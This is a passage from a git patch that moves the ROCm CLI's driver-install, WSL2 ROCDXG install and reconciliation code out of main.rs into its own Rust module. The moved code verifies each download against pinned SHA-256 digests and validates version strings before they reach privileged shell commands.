From b7c9599e1717567db1e172abc73ba426679e7aab Mon Sep 17 00:00:00 2001 From: Jussi Elo Date: Mon, 5 Oct 2026 08:08:48 +0000 Subject: [PATCH 1/9] ROCMAI-82: extract driver-install, engines, serve from main.rs Phase 6a of the ROCMAI-27 modularization plan. Mechanically relocates install_driver/reconcile_driver_install, engines(), and serve() out of main.rs into their own files, mirroring the automations.rs/uninstall.rs convention. Unlike those two, these clusters own private types used nowhere else, so the types moved with their functions rather than staying in main.rs. dispatch() call sites are byte-identical. Tests moved with their clusters into each new file's own test module; total test count is unchanged. Architecture doc updated in the same change. Signed-off-by: Jussi Elo --- apps/rocm/src/driver_install.rs | 3331 ++++ apps/rocm/src/engines_cmd.rs | 1036 ++ apps/rocm/src/main.rs | 27968 ++++++++++++------------------ apps/rocm/src/serve_cmd.rs | 1746 ++ docs/architecture.md | 6 +- 5 files changed, 17117 insertions(+), 16970 deletions(-) create mode 100644 apps/rocm/src/driver_install.rs create mode 100644 apps/rocm/src/engines_cmd.rs create mode 100644 apps/rocm/src/serve_cmd.rs diff --git a/apps/rocm/src/driver_install.rs b/apps/rocm/src/driver_install.rs new file mode 100644 index 000000000..71c05cd1c --- /dev/null +++ b/apps/rocm/src/driver_install.rs @@ -0,0 +1,3331 @@ +// Copyright © Advanced Micro Devices, Inc., or its affiliates. +// +// SPDX-License-Identifier: MIT + +//! `rocm install driver` command handlers and reconciliation. +//! +//! Mechanically relocated from `main.rs` with no behavior change — the +//! `install()` dispatcher's call sites stay byte-identical +//! (`install_driver(...)`/`reconcile_driver_install(...)`, re-imported via +//! `use crate::driver_install::{install_driver, reconcile_driver_install};`). +//! `InstallTarget`/`Cli` remain in the crate root and are reached through +//! `crate::`. Unlike `automations.rs`/`uninstall.rs`, this cluster owns +//! private types (`DriverInstallPlan` and friends) used nowhere else, so +//! those moved here too rather than staying in `main.rs`. + +use std::fmt::Write as _; +use std::fs; +use std::path::{Path, PathBuf}; +use std::process::{Command as ProcessCommand, Stdio}; + +use anyhow::{Context, Result, bail}; +use rocm_core::{AppPaths, ExamineSummary, shell_command_for_host}; +use serde::{Deserialize, Serialize}; + +use crate::cli_report; + +pub(crate) fn install_driver( + paths: &AppPaths, + dkms: bool, + yes: bool, + dry_run: bool, +) -> std::result::Result { + let examine = + ExamineSummary::gather().map_err(|source| DriverInstallError::new(source, false))?; + let os_release = read_os_release().unwrap_or_default(); + // The only place the real privilege level is read; every builder below takes + // it as a parameter so both branches stay testable on any host. + let plan = + build_driver_install_plan(&examine, &os_release, dkms, PrivilegeEscalation::detect()); + let mut output = render_driver_install_plan(&plan, yes, dry_run); + if !yes || dry_run || !plan.supported || !plan.mutating { + return Ok(DriverInstallResult { + output, + executed: false, + }); + } + + let boot_id = current_boot_id(); + let mut state = DriverInstallState { + approved_at_unix_ms: rocm_core::unix_time_millis(), + executed_at_unix_ms: None, + pre_driver: examine.driver, + post_driver: None, + boot_id_at_execution: boot_id, + reboot_required: plan.reboot_required, + reboot_observed: false, + commands: plan.execution_commands(), + reconciled_at_unix_ms: None, + reconciliation: None, + }; + write_driver_install_state(paths, &state) + .map_err(|source| DriverInstallError::new(source, false))?; + + execute_driver_install_plan( + &plan, + &mut state, + run_driver_shell_command, + |state| write_driver_install_state(paths, state), + || ExamineSummary::gather().map(|summary| summary.driver), + ) + .map_err(|source| DriverInstallError::new(source, true))?; + + let report = cli_report::ActionReport::new("driver install completed") + .detail("reboot_required", plan.reboot_required) + .detail("state", driver_install_state_path(paths).display()); + output.push_str(&report.render()); + Ok(DriverInstallResult { + output, + executed: true, + }) +} + +fn execute_driver_install_plan( + plan: &DriverInstallPlan, + state: &mut DriverInstallState, + mut run: Run, + mut persist: Persist, + gather_post_driver: Gather, +) -> Result<()> +where + Run: FnMut(&str) -> Result<()>, + Persist: FnMut(&DriverInstallState) -> Result<()>, + Gather: FnOnce() -> Result, +{ + for command in &plan.commands { + if plan.reboot_required && command.phase == DriverCommandPhase::Verify { + continue; + } + run(&command.command) + .with_context(|| format!("driver command failed: {}", command.command))?; + } + + state.executed_at_unix_ms = Some(rocm_core::unix_time_millis()); + state.reboot_required = plan.reboot_required; + state.reboot_observed = driver_reboot_observed(state.boot_id_at_execution.as_deref()); + persist(state)?; + + let post_driver = gather_post_driver()?; + state.post_driver = Some(post_driver); + persist(state)?; + Ok(()) +} + +pub(crate) fn reconcile_driver_install(paths: &AppPaths) -> Result { + let Some(mut state) = read_driver_install_state(paths)? else { + let mut output = String::new(); + let _ = writeln!(output, "driver install reconciliation"); + let _ = writeln!( + output, + " state: {}", + driver_install_state_path(paths).display() + ); + let _ = writeln!(output, " approval: not required"); + let _ = writeln!(output, " privileged_commands: "); + let _ = writeln!(output, " status: no prior driver execution state found"); + let _ = writeln!( + output, + " action: run `rocm install driver --dkms` to review the native driver plan" + ); + return Ok(output); + }; + let examine = ExamineSummary::gather()?; + let checks = passive_driver_checks(); + reconcile_driver_install_state(paths, &mut state, examine.driver, current_boot_id(), checks) +} + +fn reconcile_driver_install_state( + paths: &AppPaths, + state: &mut DriverInstallState, + driver: rocm_core::DriverSummary, + current_boot_id: Option, + checks: Vec, +) -> Result { + let reboot_observed = state + .boot_id_at_execution + .as_deref() + .zip(current_boot_id.as_deref()) + .is_some_and(|(executed, current)| executed != current); + state.reboot_observed = reboot_observed; + state.post_driver = Some(driver.clone()); + let at_unix_ms = rocm_core::unix_time_millis(); + state.reconciled_at_unix_ms = Some(at_unix_ms); + let check_summary = summarize_driver_passive_checks(&checks); + state.reconciliation = Some(DriverReconciliationState { + at_unix_ms, + driver, + reboot_observed, + check_summary, + checks, + }); + write_driver_install_state(paths, state)?; + Ok(render_driver_reconciliation(paths, state)) +} + +fn render_driver_reconciliation(paths: &AppPaths, state: &DriverInstallState) -> String { + let mut output = String::new(); + let _ = writeln!(output, "driver install reconciliation"); + let _ = writeln!( + output, + " state: {}", + driver_install_state_path(paths).display() + ); + let _ = writeln!(output, " approval: not required"); + let _ = writeln!(output, " privileged_commands: "); + let _ = writeln!( + output, + " approved_at_unix_ms: {}", + state.approved_at_unix_ms + ); + let _ = writeln!( + output, + " executed_at_unix_ms: {}", + state + .executed_at_unix_ms + .map_or_else(|| "".to_owned(), |value| value.to_string()) + ); + let _ = writeln!(output, " reboot_required: {}", state.reboot_required); + let _ = writeln!(output, " reboot_observed: {}", state.reboot_observed); + if let Some(reconciliation) = &state.reconciliation { + let _ = writeln!( + output, + " reconciled_at_unix_ms: {}", + reconciliation.at_unix_ms + ); + let _ = writeln!(output, " driver_status: {}", reconciliation.driver.status); + let _ = writeln!( + output, + " driver_detail: {}", + reconciliation + .driver + .detail + .as_deref() + .unwrap_or("") + ); + let _ = writeln!( + output, + " passive_check_summary: total={} present={} missing={}", + reconciliation.check_summary.total, + reconciliation.check_summary.present, + reconciliation.check_summary.missing + ); + if reconciliation.checks.is_empty() { + let _ = writeln!(output, " passive_checks: "); + } else { + let _ = writeln!(output, " passive_checks:"); + for check in &reconciliation.checks { + let _ = writeln!( + output, + " {}: {} ({})", + check.name, check.status, check.detail + ); + } + } + if state.reboot_required && !state.reboot_observed { + let _ = writeln!( + output, + " action: reboot is still required before post-install checks are meaningful" + ); + } else if reconciliation + .checks + .iter() + .any(|check| check.status != "present") + { + let _ = writeln!( + output, + " action: reconciliation recorded missing passive checks; run `rocm examine` and inspect driver logs" + ); + } else { + let _ = writeln!( + output, + " action: reconciliation complete; run `rocm examine` for the full host summary" + ); + } + } + output +} + +fn summarize_driver_passive_checks(checks: &[DriverPassiveCheck]) -> DriverPassiveCheckSummary { + let total = checks.len(); + let present = checks + .iter() + .filter(|check| check.status == "present") + .count(); + DriverPassiveCheckSummary { + total, + present, + missing: total.saturating_sub(present), + } +} + +fn passive_driver_checks() -> Vec { + if !rocm_core::runtime_is_linux() { + return Vec::new(); + } + vec![ + passive_path_check("/sys/module/amdgpu", "amdgpu kernel module path"), + passive_path_check("/dev/kfd", "KFD device node"), + passive_render_node_check(), + ] +} + +fn passive_path_check(path: &str, detail: &str) -> DriverPassiveCheck { + DriverPassiveCheck { + name: path.to_owned(), + status: if Path::new(path).exists() { + "present" + } else { + "missing" + } + .to_owned(), + detail: detail.to_owned(), + } +} + +fn passive_render_node_check() -> DriverPassiveCheck { + let present = fs::read_dir("/dev/dri") + .ok() + .into_iter() + .flat_map(|entries| entries.filter_map(std::result::Result::ok)) + .any(|entry| { + entry + .file_name() + .to_str() + .is_some_and(|name| name.starts_with("renderD")) + }); + DriverPassiveCheck { + name: "/dev/dri/renderD*".to_owned(), + status: if present { "present" } else { "missing" }.to_owned(), + detail: "DRM render node".to_owned(), + } +} + +pub(crate) struct DriverInstallResult { + pub(crate) output: String, + pub(crate) executed: bool, +} + +pub(crate) struct DriverInstallError { + pub(crate) source: anyhow::Error, + pub(crate) executed: bool, +} + +impl DriverInstallError { + const fn new(source: anyhow::Error, executed: bool) -> Self { + Self { source, executed } + } +} + +#[derive(Debug, Clone)] +struct DriverInstallPlan { + supported: bool, + mutating: bool, + policy: String, + os_id: String, + version_id: String, + codename: String, + repo_version: String, + reason: String, + preflight_checks: Vec, + commands: Vec, + checks: Vec, + /// Whether the host must reboot before the verification steps mean anything. + /// + /// True for the kernel-module paths: an amdgpu DKMS build is not live until + /// the machine comes back up. False on WSL2, where nothing kernel-side + /// changes — ROCDXG is a userspace library and `ldconfig` publishes it + /// immediately, so telling the user to reboot would be wrong. + reboot_required: bool, +} + +impl DriverInstallPlan { + fn execution_commands(&self) -> Vec { + self.commands + .iter() + .filter(|command| { + matches!( + command.phase, + DriverCommandPhase::Prepare | DriverCommandPhase::Execute + ) + }) + .map(|command| command.command.clone()) + .collect() + } +} + +#[derive(Debug, Clone, Copy, Eq, PartialEq)] +enum DriverCommandPhase { + Prepare, + Execute, + Verify, +} + +#[derive(Debug, Clone)] +struct DriverPlanCommand { + phase: DriverCommandPhase, + command: String, +} + +/// How a generated driver command is expected to reach root. +/// +/// The driver plan is a list of shell lines, so escalation is a text prefix +/// rather than an argv decision (contrast `openmpi::InstallCommand`, whose +/// commands are argv vectors and can prepend `sudo` structurally). Prefixing +/// unconditionally is what made `install driver` unusable on the hosts it is +/// most needed on: containers and minimal cloud images run as uid 0 with no +/// `sudo` binary, so every command died with `sudo: not found` before any +/// driver work happened. +/// +/// This is resolved when the plan is BUILT, not when it runs, so that the plan +/// `--dry-run` prints, the plan the approval prompt shows, and the commands +/// persisted into `state.json` are all the commands that actually execute. +#[derive(Debug, Clone, Copy, Eq, PartialEq)] +enum PrivilegeEscalation { + /// Not root: privileged commands need a `sudo` prefix. + Sudo, + /// Already uid 0: `sudo` is unnecessary, and may not even be installed. + AlreadyRoot, +} + +impl PrivilegeEscalation { + /// Read the current process's privilege level. + /// + /// Only ever called on the production path; every plan builder takes the + /// escalation as a parameter so both branches are testable on any host. + fn detect() -> Self { + if rocm_core::openmpi::running_as_root() { + Self::AlreadyRoot + } else { + Self::Sudo + } + } + + /// The prefix to place before a command that must run as root — `"sudo "`, + /// or nothing at all when the process already is root. Includes the + /// trailing space so it composes directly into a command string. + const fn prefix(self) -> &'static str { + match self { + Self::Sudo => "sudo ", + Self::AlreadyRoot => "", + } + } + + /// Whether a plan built under this escalation depends on `sudo` being + /// installed. Drives the preflight list, so it does not claim a + /// precondition the plan is not relying on. + const fn needs_sudo_binary(self) -> bool { + matches!(self, Self::Sudo) + } +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +struct DriverInstallState { + approved_at_unix_ms: u128, + executed_at_unix_ms: Option, + pre_driver: rocm_core::DriverSummary, + post_driver: Option, + boot_id_at_execution: Option, + reboot_required: bool, + reboot_observed: bool, + commands: Vec, + #[serde(default)] + reconciled_at_unix_ms: Option, + #[serde(default)] + reconciliation: Option, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +struct DriverReconciliationState { + at_unix_ms: u128, + driver: rocm_core::DriverSummary, + reboot_observed: bool, + #[serde(default)] + check_summary: DriverPassiveCheckSummary, + checks: Vec, +} + +#[derive(Debug, Clone, Serialize, Deserialize, Default)] +struct DriverPassiveCheckSummary { + total: usize, + present: usize, + missing: usize, +} + +#[derive(Debug, Clone, Serialize, Deserialize)] +struct DriverPassiveCheck { + name: String, + status: String, + detail: String, +} + +/// Release of ROCDXG installed on WSL2, overridable for trying another build. +/// +/// Resolved once at plan-build time via [`resolve_shell_default_template`], the +/// same way `ROCM_CLI_AMDGPU_VERSION` is handled for the bare-metal repository +/// pin. The concrete value is baked into the archive name, the release URL and +/// the `repo_version:` line, so the plan a user reviews names the build the +/// install will actually fetch rather than an unexpanded `${...}` placeholder. +/// +/// How the default is chosen: the newest non-prerelease `librocdxg` release +/// whose `rocdxg-roct` digest is pinned in [`ROCDXG_PINNED_DIGESTS`]. Moving it +/// is two edits — add the `(version, digest)` row to that table, then change +/// the literal here — and the two must move together: a default with no row +/// makes [`resolve_rocdxg_verification`] refuse to build a plan at all unless +/// the caller supplies a digest, so a bump that forgets the table breaks every +/// default WSL install rather than falling back to the previous release. +/// +/// Deliberately out of scope: `rocdxg-amd-smi-lib__amd64.deb`, which +/// v1.2.1 and v1.2.2 ship alongside `rocdxg-roct` and the five releases before +/// them do not, is not installed here. It is a second prefix under +/// `/opt/rocm-wsl` carrying its own `amd-smi` and `libamd_smi.so`, and it +/// installs an `/etc/profile.d` entry that sources the package's own +/// `/opt/rocm-wsl/.env.sh`, which in turn prepends that prefix to `PATH` and +/// `LD_LIBRARY_PATH` for new login shells. That is a system-wide environment +/// change in service of a monitoring utility that neither `wsl_rocdxg_ready` +/// nor `rocm serve` depends on, and it is not available for every version in +/// the pinned table. Installing it is a separate decision that belongs behind +/// its own opt-in, not folded into the plan whose job is to supply the runtime +/// bridge. +const ROCDXG_VERSION_EXPR: &str = "${ROCM_CLI_ROCDXG_VERSION:-1.2.2}"; + +/// Supplies a SHA-256 digest for the ROCDXG package, overriding the pinned one. +/// Required when installing a version this build has no digest for. +const ROCDXG_SHA256_ENV: &str = "ROCM_CLI_ROCDXG_SHA256"; + +/// Opts out of digest verification entirely, when set to an affirmative value. +/// Named explicitly so that shipping an unverified root install is a deliberate +/// act with an audit trail in the plan, rather than what happens when a variable +/// is simply unset. +const ROCDXG_ALLOW_UNVERIFIED_ENV: &str = "ROCM_CLI_ROCDXG_ALLOW_UNVERIFIED"; + +/// SHA-256 digests of the `rocdxg-roct` package shipped with each published +/// ROCDXG release, taken from the release host's own asset metadata. +/// +/// These exist so the default install is authenticated. The package is fetched +/// over plain HTTPS from a release page and then handed to `apt-get install`, +/// which runs its maintainer scripts as root — so without a digest, TLS to the +/// download host is the only thing standing between a compromised or swapped +/// artifact and root on the user's machine. That is materially weaker than the +/// bare-metal apt path in this same file, which installs from a repository +/// pinned with `signed-by=/etc/apt/keyrings/rocm.gpg`. +/// +/// A version absent from this table is not installed unless the caller supplies +/// a digest via `ROCM_CLI_ROCDXG_SHA256` or opts out via +/// `ROCM_CLI_ROCDXG_ALLOW_UNVERIFIED`; see [`resolve_rocdxg_verification`]. +/// Add the new pair here when pinning a newer release. Nothing in the tree +/// checks a row against the published artifact, so a mistyped digest surfaces +/// only as a failed install on a WSL host — fail-closed, but confusing. Take +/// the value from the release's own asset metadata, or recompute it: +/// +/// ```text +/// curl -L --fail \ +/// https://github.com/ROCm/librocdxg/releases/download/v/rocdxg-roct__amd64.deb \ +/// | sha256sum +/// ``` +const ROCDXG_PINNED_DIGESTS: &[(&str, &str)] = &[ + ( + "1.0.0", + "5e78d300dfb8c10dfd57de24b312ff9f9962a3a971f571e5e9383e1c543b607a", + ), + ( + "1.1.0", + "d1f92415d218ca10df3c39f2ce48872ee968549a97191e987f2c2a79ab709f23", + ), + ( + "1.1.1", + "cd2ba9dbfd32bf35755a45e7e92410524f32baa2b4dcc31d0106876d04c3abcc", + ), + ( + "1.1.2", + "e426a5f58f4f177512a354ed5f0dd7b2c0a2b736f009e09bf806edf18ca6cb97", + ), + ( + "1.2.0", + "3ed9526719290cd8f590150dad8ea0f234fa779bea6a4c9a8449d7ae6b8cfb6e", + ), + ( + "1.2.1", + "7889eef45a1132ed2dde88d8ea1356bf791ec9c05802a18940bc81b970e850e0", + ), + ( + "1.2.2", + "28ded1254811192ebace1f76c0227580184af7b27ab2475fb9728295a702d541", + ), +]; + +/// Whether a resolved ROCDXG version is safe to place in the plan's commands. +/// +/// The driver plan is a list of shell lines run through `sh -c`, and the +/// version is interpolated into three of them — the archive name, the release +/// URL and the local path — each of which is then executed with `sudo` already +/// primed by an earlier `apt-get update`. `ROCM_CLI_ROCDXG_VERSION` reaches +/// this unchanged from the environment, so a value containing `;` or a +/// backtick would otherwise end the intended command and start an attacker's +/// own. Restricting it to characters that appear in a Debian package version +/// removes the possibility rather than trying to escape it. +fn rocdxg_version_is_well_formed(version: &str) -> bool { + !version.is_empty() + && version.starts_with(|c: char| c.is_ascii_alphanumeric()) + && version + .chars() + .all(|c| c.is_ascii_alphanumeric() || matches!(c, '.' | '+' | '-' | '~')) +} + +/// Whether a string is a bare lowercase 64-character hex SHA-256 digest, the +/// form `sha256sum -c -` expects. +fn sha256_digest_is_well_formed(digest: &str) -> bool { + digest.len() == 64 && digest.chars().all(|c| c.is_ascii_hexdigit()) +} + +/// How the downloaded ROCDXG package will be authenticated before it is +/// installed as root. +#[derive(Debug, Clone, Eq, PartialEq)] +enum RocdxgVerification { + /// Check the download against this digest and abort the install on a + /// mismatch. + Digest(String), + /// Install without checking, because the caller explicitly asked for it. + OptedOut, +} + +/// Decide how a ROCDXG download will be authenticated, or `Err` with the reason +/// no plan can be built. +/// +/// Resolution order — an explicit digest wins over the pinned one so a user can +/// install an artifact this build predates without having to disable +/// verification wholesale: +/// +/// 1. `ROCM_CLI_ROCDXG_SHA256`, when it is a well-formed digest. +/// 2. The digest pinned for this version in [`ROCDXG_PINNED_DIGESTS`]. +/// 3. `ROCM_CLI_ROCDXG_ALLOW_UNVERIFIED`, when set to an affirmative value +/// — see [`crate::therock::truthy_env`] for the exact allowlist — which opts +/// out. `0` and `false` do not. +/// +/// Nothing left means refusal. Verification is therefore opt-*out*: the failure +/// mode of an unset variable is a plan that will not run, not a root install of +/// an unauthenticated package. +fn resolve_rocdxg_verification(version: &str) -> Result { + if let Some(supplied) = std::env::var(ROCDXG_SHA256_ENV) + .ok() + .map(|value| value.trim().to_ascii_lowercase()) + .filter(|value| !value.is_empty()) + { + if !sha256_digest_is_well_formed(&supplied) { + return Err(format!( + "{ROCDXG_SHA256_ENV} is not a 64-character hex SHA-256 digest; refusing to install ROCDXG without a usable digest." + )); + } + return Ok(RocdxgVerification::Digest(supplied)); + } + + if let Some(pinned) = ROCDXG_PINNED_DIGESTS + .iter() + .find_map(|(pinned_version, digest)| (*pinned_version == version).then_some(*digest)) + { + return Ok(RocdxgVerification::Digest(pinned.to_owned())); + } + + // An allowlist of affirmative values, not "set to anything non-empty": + // otherwise `ROCM_CLI_ROCDXG_ALLOW_UNVERIFIED=0` — which every reader takes + // for "off" — would turn digest checking off for a package installed as + // root. Anything this does not recognise leaves verification on. + if crate::therock::truthy_env(ROCDXG_ALLOW_UNVERIFIED_ENV) { + return Ok(RocdxgVerification::OptedOut); + } + + Err(format!( + "no known SHA-256 digest for ROCDXG {version}, and this package is installed as root. Set {ROCDXG_SHA256_ENV} to the digest published with that release, or set {ROCDXG_ALLOW_UNVERIFIED_ENV}=1 to install without verifying it." + )) +} + +/// A WSL plan that cannot be run, carrying the reason in the same shape every +/// other unsupported plan uses so `--dry-run`, the approval prompt and +/// `state.json` all report it identically. +fn wsl_rocdxg_refusal_plan(repo_version: String, reason: String) -> DriverInstallPlan { + DriverInstallPlan { + supported: false, + mutating: false, + policy: "wsl_rocdxg".to_owned(), + os_id: "wsl".to_owned(), + version_id: String::new(), + codename: String::new(), + repo_version, + reason, + preflight_checks: Vec::new(), + commands: Vec::new(), + checks: vec!["rocm examine".to_owned(), "rocm diagnose".to_owned()], + reboot_required: false, + } +} + +/// The `rocm install driver` plan for a WSL2 host. +/// +/// WSL2 has no in-tree amdgpu driver to install: the GPU comes from the Windows +/// host driver through `/dev/dxg`, and what ROCm needs on the Linux side is +/// ROCDXG (`librocdxg`), which bridges the runtime to it. Without that library +/// `rocm examine` reports `wsl_rocdxg_missing` and `rocm serve` refuses with +/// "no usable AMD GPU detected", even though a gfx target is detected — the +/// target is read from the Windows-side driver. +/// +/// This used to be a refusal pointing at a shell script under `scripts/`, which +/// ships only in a git checkout — never in the release bundle — so it was a dead +/// end for anyone who installed the CLI normally. These are that script's steps; +/// it has been removed rather than left as a second, untested copy of them. +fn wsl_rocdxg_driver_plan(escalation: PrivilegeEscalation) -> DriverInstallPlan { + let version = resolve_shell_default_template(ROCDXG_VERSION_EXPR); + if !rocdxg_version_is_well_formed(&version) { + return wsl_rocdxg_refusal_plan( + // The rejected value is still rendered into the plan's + // `repo_version:` line so the user can see what was refused — but + // that line is part of a plan a human reads to decide, and a raw + // value containing a newline could forge further lines in it. The + // debug form escapes newlines and makes trailing space visible, + // which is exactly what is wanted for a value being shown as + // rejected. + format!("{version:?}"), + "ROCM_CLI_ROCDXG_VERSION is not a well-formed package version. It is interpolated into privileged shell commands, so only letters, digits, and `. + - ~` are accepted.".to_owned(), + ); + } + let verification = match resolve_rocdxg_verification(&version) { + Ok(verification) => verification, + Err(reason) => return wsl_rocdxg_refusal_plan(version, reason), + }; + + let sudo = escalation.prefix(); + let deb = format!("rocdxg-roct_{version}_amd64.deb"); + let url = format!("https://github.com/ROCm/librocdxg/releases/download/v{version}/{deb}"); + let deb_path = format!("/tmp/{deb}"); + // `version` is validated above and the digest is hex, so neither can carry + // shell metacharacters; the quotes keep that guarantee local to the command + // rather than resting on a check several functions away. + let verify_download = match &verification { + RocdxgVerification::Digest(digest) => driver_command( + DriverCommandPhase::Execute, + &format!("printf '%s %s\\n' '{digest}' '{deb_path}' | sha256sum -c -"), + ), + RocdxgVerification::OptedOut => driver_command( + DriverCommandPhase::Execute, + &format!( + "echo 'warning: installing ROCDXG {version} without verifying it ({ROCDXG_ALLOW_UNVERIFIED_ENV} is set)' >&2" + ), + ), + }; + DriverInstallPlan { + supported: true, + mutating: true, + policy: "wsl_rocdxg".to_owned(), + os_id: "wsl".to_owned(), + version_id: String::new(), + codename: String::new(), + repo_version: version, + reason: + "WSL2 uses the Windows host driver plus ROCDXG, not Linux DKMS; this installs ROCDXG." + .to_owned(), + // Read, not run: the GPU plumbing belongs to the WSL platform, so if it + // is absent the fix is on the Windows side and no Linux package helps. + // The Execute phase fails on the same two paths rather than installing + // a library with nothing to bind to. + preflight_checks: { + let mut checks = vec![ + "/dev/dxg (WSL GPU device)".to_owned(), + "/usr/lib/wsl/lib/libdxcore.so (WSL dxcore runtime)".to_owned(), + ]; + checks.extend(driver_root_preflight_checks(escalation)); + checks + }, + commands: vec![ + driver_command( + DriverCommandPhase::Prepare, + "test -e /dev/dxg || { echo 'error: /dev/dxg is missing; WSL GPU plumbing is not available' >&2; exit 1; }", + ), + driver_command( + DriverCommandPhase::Prepare, + "test -e /usr/lib/wsl/lib/libdxcore.so || { echo 'error: /usr/lib/wsl/lib/libdxcore.so is missing' >&2; exit 1; }", + ), + // Say why up front rather than letting the first privileged step die + // with `sudo: command not found`, which reads like a broken plan. + // Skipped when already root: the plan emits no `sudo` at all then, + // so demanding the binary would state a precondition it is not + // relying on. + driver_command( + DriverCommandPhase::Prepare, + if escalation.needs_sudo_binary() { + "command -v sudo >/dev/null 2>&1 || { echo 'error: sudo is required to install ROCDXG under /opt/rocm' >&2; exit 1; }" + } else { + "test \"$(id -u)\" -eq 0 || { echo 'error: this plan was built to run as root' >&2; exit 1; }" + }, + ), + driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}apt-get update"), + ), + driver_command( + DriverCommandPhase::Prepare, + &format!("{sudo}apt-get install -y ca-certificates curl"), + ), + driver_command( + DriverCommandPhase::Execute, + &format!("curl -L --fail --show-error --output '{deb_path}' '{url}'"), + ), + // Authenticating the download is the whole trust anchor for this + // plan: everything after it runs the package's maintainer scripts + // as root. `sha256sum -c -` exits non-zero on a mismatch, which + // aborts the plan before the install step. + verify_download, + driver_command( + DriverCommandPhase::Execute, + &format!("{sudo}apt-get install -y '{deb_path}'"), + ), + driver_command(DriverCommandPhase::Execute, &format!("{sudo}ldconfig")), + driver_command( + DriverCommandPhase::Verify, + "test -e /opt/rocm/lib/librocdxg.so", + ), + driver_command( + DriverCommandPhase::Verify, + "ldconfig -p | grep -q 'librocdxg\\.so'", + ), + ], + // `rocm diagnose` carries the WSL catalog, including the host-side + // form that inspects a distro over `wsl.exe` without needing anything + // installed inside it. + checks: vec!["rocm examine".to_owned(), "rocm diagnose".to_owned()], + // Userspace only: `ldconfig` publishes the library in this boot. + reboot_required: false, + } +} + +fn build_driver_install_plan( + examine: &ExamineSummary, + os_release_text: &str, + dkms: bool, + escalation: PrivilegeEscalation, +) -> DriverInstallPlan { + // Resolve the AMD graphics version and amdgpu-install package release once, + // here at plan-build time, so the concrete values are baked into both the + // human-readable summary and every command the plan runs. Keeping shell + // `${VAR:-default}` templates in the commands used to be load-bearing, but + // AMD's apt `sources.list` line embeds the template inside POSIX single + // quotes, which suppress all expansion — so the literal `${...}` would land + // in the repo file. Resolving up front fixes that and keeps the summary and + // the executed commands in agreement. + let repo_version = resolve_shell_default_template("${ROCM_CLI_AMDGPU_VERSION:-7.2.4}"); + let package_release = + resolve_shell_default_template("${ROCM_CLI_AMDGPU_PACKAGE_RELEASE:-70204}"); + if examine.os == "windows" { + return DriverInstallPlan { + supported: false, + mutating: false, + policy: "windows_validate_only".to_owned(), + os_id: "windows".to_owned(), + version_id: String::new(), + codename: String::new(), + repo_version, + reason: "Windows driver install is validate-only in rocm-cli; use `rocm examine` to inspect the AMD display driver.".to_owned(), + preflight_checks: Vec::new(), + commands: Vec::new(), + checks: vec!["rocm examine".to_owned()], + reboot_required: true, + }; + } + if examine.wsl.as_ref().is_some_and(|wsl| wsl.is_wsl) { + return wsl_rocdxg_driver_plan(escalation); + } + + let os_id = parse_os_release_field(os_release_text, "ID").unwrap_or_default(); + let version_id = parse_os_release_field(os_release_text, "VERSION_ID").unwrap_or_default(); + let codename = parse_os_release_field(os_release_text, "VERSION_CODENAME") + .or_else(|| parse_os_release_field(os_release_text, "UBUNTU_CODENAME")) + .or_else(|| codename_for_version(&os_id, &version_id).map(str::to_owned)) + .unwrap_or_default(); + let id_like = parse_os_release_field(os_release_text, "ID_LIKE").unwrap_or_default(); + + match (os_id.as_str(), version_id.as_str()) { + ("ubuntu", "22.04" | "24.04") => apt_driver_plan( + os_id, + version_id, + codename, + repo_version, + dkms, + true, + escalation, + ), + ("debian", "12" | "13") => { + let repo_codename = if version_id == "13" { "noble" } else { "jammy" }; + let mut plan = apt_driver_plan( + os_id, + version_id, + repo_codename.to_owned(), + repo_version, + dkms, + false, + escalation, + ); + // Debian deliberately reuses AMD's Ubuntu-suite repository: AMD's + // documented Debian install maps Debian 12 -> jammy and 13 -> noble + // and serves them from the .../ubuntu graphics tree. Surface that in + // the plan so the Ubuntu codename on a Debian host doesn't read as a + // misdetection. + plan.reason = format!( + "Debian intentionally uses AMD's Ubuntu-suite repository (codename {repo_codename}), per AMD's documented Debian install; the Ubuntu codename is deliberate, not a misdetection. {}", + plan.reason + ); + plan + } + ("rhel", "10.1" | "10.0" | "9.7" | "9.6" | "9.4" | "8.10") => dnf_driver_plan( + os_id, + version_id, + codename, + repo_version, + package_release, + dkms, + DnfDriverDistro::Rhel, + escalation, + ), + ("ol", "10.1" | "9.7" | "8.10") => dnf_driver_plan( + os_id, + version_id, + codename, + repo_version, + package_release, + dkms, + DnfDriverDistro::Oracle, + escalation, + ), + ("rocky", "9.4" | "9.6" | "9.7") => dnf_driver_plan( + os_id, + version_id, + codename, + repo_version, + package_release, + dkms, + DnfDriverDistro::Rocky, + escalation, + ), + ("sles" | "sle", "15.7") => { + sles_driver_plan( + os_id, + version_id, + codename, + repo_version, + package_release, + dkms, + escalation, + ) + } + _ => driver_plan_via_id_like( + &os_id, + &version_id, + &id_like, + &codename, + &repo_version, + &package_release, + dkms, + escalation, + ) + .unwrap_or_else(|| DriverInstallPlan { + supported: false, + mutating: false, + policy: "unsupported_linux_dkms_plan".to_owned(), + os_id, + version_id, + codename, + repo_version, + reason: "Linux DKMS driver install is currently planned only for AMD-documented Ubuntu, Debian, RHEL, Oracle Linux, SLES, and Rocky versions; no commands were guessed for this distro.".to_owned(), + preflight_checks: Vec::new(), + commands: Vec::new(), + checks: vec!["rocm examine".to_owned()], + // Kernel module: not live until the machine comes back up. + reboot_required: true, + }), + } +} + +/// Select a driver install plan for a distro whose `/etc/os-release` `ID` is not +/// an AMD-documented distro, by falling back to its `ID_LIKE` base family. +/// +/// This mirrors the family resolution already used by the OpenMPI and system +/// dependency install plans in [`rocm_core::openmpi`], which honor `ID_LIKE`. A +/// derivative is matched only when its `VERSION_ID` aligns with an AMD-documented +/// version of the base family, so version-misaligned derivatives still fall +/// through to the unsupported plan rather than fabricating a repository URL that +/// would 404. +// Every parameter is one already-resolved fact the plan is templated from; +// bundling them into a struct would only move the same list one level out. +#[allow(clippy::too_many_arguments)] +fn driver_plan_via_id_like( + os_id: &str, + version_id: &str, + id_like: &str, + codename: &str, + repo_version: &str, + package_release: &str, + dkms: bool, + escalation: PrivilegeEscalation, +) -> Option { + let likes: Vec = id_like + .split_whitespace() + .map(str::to_ascii_lowercase) + .collect(); + let mentions = |family: &str| likes.iter().any(|like| like == family); + + // Ubuntu-family derivatives that reuse Ubuntu's VERSION_ID (e.g. Pop!_OS) + // also reuse its repositories; the amdgpu apt line always targets the + // `ubuntu/` repo, so the plan is identical to the 